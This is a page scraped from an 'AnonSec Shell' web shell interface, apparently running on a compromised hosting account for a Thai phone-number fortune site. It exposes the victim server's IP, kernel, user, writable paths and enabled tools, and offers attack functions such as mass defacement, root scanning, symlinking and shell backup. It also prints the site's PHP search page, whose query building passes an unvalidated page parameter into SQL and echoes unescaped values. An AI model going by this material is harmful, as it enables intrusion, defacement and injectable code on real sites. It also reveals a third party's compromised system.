AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/kainumber.com/home/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/kainumber.com/home/search_load.php
<?php include('../include/class.php');?>
<?php include('../css/style.php');?>
 <!--link href="../css/style.css" rel="stylesheet">-->
<link rel="stylesheet" href="../include/infiniteajaxscroll/default.min.css">

<div class="container_2">

<?php
$g_page = $_GET['p'];
$limit = ($g_page-1)*30;


$secrch = $_SESSION["get_search"];

$list = array('table'=>'phonenumber','where'=>$secrch,'order'=> "ORDER BY id DESC LIMIT ".$limit.",28");
 $view = $view_db->view($list);
$result = $view_db->q_re($view);
$num = 1;
while($row_sb = $view_db->q_ro($result))
{
  $arr_P3_all=array();
  $pass3_all_n2=array();
  $output='';
  $output2='';
  $Fullscore_p=0;
  $TotalScore_plus=0;
  $TotalScore_delete=0;
  $percent_number2=0;
  $phonenumber = $row_sb['phonenumber'];
  include('perl2.php');

  $Fullscore_p = 100 * count($pass3_all_n2);
  $percent_number2 = (($TotalScore_plus - abs($TotalScore_delete))*100)/$Fullscore_p;

  $se = $Phone_class->catshort_number2($_SESSION["get_id_cat"],$row_sb['phonenumber']);
  if($row_sb["category_type"]==2){
    $search_1n = 'id="'.$Phone_class->catshort_number2($se[0],$row_sb['phonenumber']).'"';
  }else{
    $search_1n = 'id = "'.$_SESSION["get_id_cat"].'"';

  }

  $list_phrc = array('table'=>'category','where'=>$search_1n,'order'=> "ORDER BY id DESC LIMIT 0 , 1");
  $view_phrc = $view_db->view($list_phrc);
  $row_phrc = $view_db->q($view_phrc);

  $list_phre = array('table'=>'element','where'=>'id = "'.$row_sb['element_id'].'"','order'=> "ORDER BY id DESC LIMIT 0 , 1");
  $view_phre = $view_db->view($list_phre);
  $row_phre = $view_db->q($view_phre);

  $cate_img='';
  $network_img='';

  /*
    if($row_sb['category']==7){$cate_img='icon-01-love.png';}
    if($row_sb['category']==8){$cate_img='icon-02-office.png';}
    if($row_sb['category']==10){$cate_img='icon-05-foster.png';}
    if($row_sb['category']==11){$cate_img='icon-04-money.png';}
    if($row_sb['category']==12){$cate_img='icon-03-family.png';}
    if($row_sb['category']==13){$cate_img='icon-07-chat.png';}
    if($row_sb['category']==16){$cate_img='icon-06-health.png';}
    if($row_sb['category']==17){$cate_img='icon-08-avoid.png';}
    */
    if($se==7){$cate_img='icon-01-love.png';}
    if($se==8){$cate_img='icon-02-office.png';}
    if($se==10){$cate_img='icon-05-foster.png';}
    if($se==11){$cate_img='icon-04-money.png';}
    if($se==12){$cate_img='icon-03-family.png';}
    if($se==13){$cate_img='icon-07-chat.png';}
    if($se==16){$cate_img='icon-06-health.png';}
    if($se==17){$cate_img='icon-08-avoid.png';}


  if($row_sb['mobilenetwork']==1){$network_img='0222- ais.png';}
  if($row_sb['mobilenetwork']==2){$network_img='01- ddd.png';}
  if($row_sb['mobilenetwork']==3){$network_img='03- true.png';}
  if($row_sb['mobilenetwork']==8){$network_img='05- yyyy.png';}

  $dpr = 0;
  $dpr = $percent_number2 * 1.67;
  $dpr = 440 - $dpr;

	?>
  <div class="col-12 col-sm-6 col-md-6 col-lg-4 col-xxl-3 px-1 mb-3 item_search">
    <div class="border-kai2 p-3 text-center cursor-pointer" onclick="location.href='../reading/detail.php?phonenumber=<?php echo $row_sb['phonenumber']; ?>'">
      <h2 class="pb-0 mb-0 border-kai-bottom mb-2">
        <?php echo $Phone_class->phonenumber($row_sb['phonenumber']);?>
      </h2>

      <div class="row">
        <div class="col-3 p-0">
            <div class="container__progressbars" >
              <div class="progressbar">
                <svg class="progressbar__svg">
                  <circle cx="23" cy="26" r="27" class="progressbar__svg-circle circle-html1 shadow-html"
                  style="stroke-dashoffset: <?php echo $dpr; ?>; "
                  > </circle>
                </svg>
                <span class="progressbar__text shadow-html">
                  <!--<img src="../redbag/category/icon-01-love.png" alt="" class="w-100" >-->
                  <img src="../redbag/category/<?php echo $cate_img; ?>" alt="" class="w-100" >
                </span>
              </div>
              <small class="progressbar_text2 fix-s" style="top: 2px"> <?php echo number_format($percent_number2,2); ?>%</small>
            </div>
        </div>
        <?php
        if($row_sb['category_type']==2)
        {
          $short_number = $Phone_class->catshort_number($se,$row_sb['phonenumber']);
          $short_number;
          if($short_number==''){
            $short_number = $Phone_class->catshort_number('',$row_sb['phonenumber']);

          }
        }
        else
        {
          $short_number= 'เบอร์สวย';
        }
         ?>
        <div class="col-6 px-0">
          <div class="border-kai-bottom w-100" style="    min-height: 25px;">
            <label style="<?php if(strlen($short_number)>=51){echo 'font-size: 20px;padding-bottom: 2px;';} ?>"> <?php echo $short_number; ?>
            </label>



          </div>
          <div class="border-kai-bottom w-100">
            <img src="../redbag/mobilenetwork/<?php echo $network_img; ?>" alt="" height="33" >
          </div>
          <label style="top: 5px;position: relative;"><?php echo $row_sb['price']; ?>-</small>

        </div>
        <div class="col-3 p-0 border-kai-left pe-2" >
          <div class="py-0 pe-1">
            <div class="border-kai-bottom w-100">
              <label class="fix-l" >ผลรวม</label>
              <h1 class="ps-2 p-0 m-0 fix-h1"><?php echo $row_sb['sum_number']; ?></h1>
            </div>
            <?php $element = $Phone_class->element_text_img($row_sb['element_id']);?>
            <small class="fix-s">
              ธาตุ<?php echo $row_phre['name']; ?>
            </small>
          </div>
        </div>
      </div>
    </div>
  </div>
	<?php

}
?>
</div>

<?php
$list = array('table'=>'phonenumber','where'=>$secrch,'order'=> "ORDER BY id DESC");
$view = $view_db->view($list);
$result = $view_db->q_re($view);
$rowcount = mysqli_num_rows($result);
$row_page = $rowcount/30;
$row_page = ceil( $row_page);
?><ul id="pagination" style="display:none;"><?php
for($i=1;$i<=$row_page;$i++)
{
	if($i==1){?><li><a href="../home/search_1.php">2</a></li><?php }
	else
	{
		?><li <?php if($i==$_GET['p']+1){ ?>class="next_search"<?php }?>><a href="../home/search_load.php?p=<?php echo $i; ?>">2</a></li><?php
	}
}

?>
</ul>

<script src="../include/infiniteajaxscroll/jquery.min.js"></script>
  <script type="text/javascript" src="../include/infiniteajaxscroll/jquery-ias.min.js"></script>
  <script type="text/javascript">
    var ias = $.ias({
      container: ".container_2",
      item: ".item_search",
      pagination: "#pagination",
      next: ".next_search a"
    });

    ias.extension(new IASSpinnerExtension());
    ias.extension(new IASTriggerExtension({offset: 50}));
    ias.extension(new IASNoneLeftExtension({text: ''}));
  </script>

Anon7 - 2022
AnonSec Team